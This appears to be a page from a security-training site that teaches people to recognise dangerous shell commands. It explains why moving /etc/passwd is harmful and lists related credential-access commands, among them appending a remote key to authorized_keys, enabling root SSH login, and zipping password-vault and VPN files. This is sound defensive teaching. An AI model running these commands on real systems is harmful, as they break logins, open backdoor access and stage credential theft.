Dangerous
mv /etc/passwd /tmp/passwd.baklinux · bash · Intermediate
Moves the account database out of place, which breaks every lookup of usernames and user ids on the system. Logins fail, services that resolve users stop working, and the file is now readable in a world-writable directory.
Signals to notice
- Relocates a critical system file
- Breaks authentication
- Copy left in a world-writable directory
Think you can spot these under time pressure?
Start TrainingMore Credential Access
chmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpertGet-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare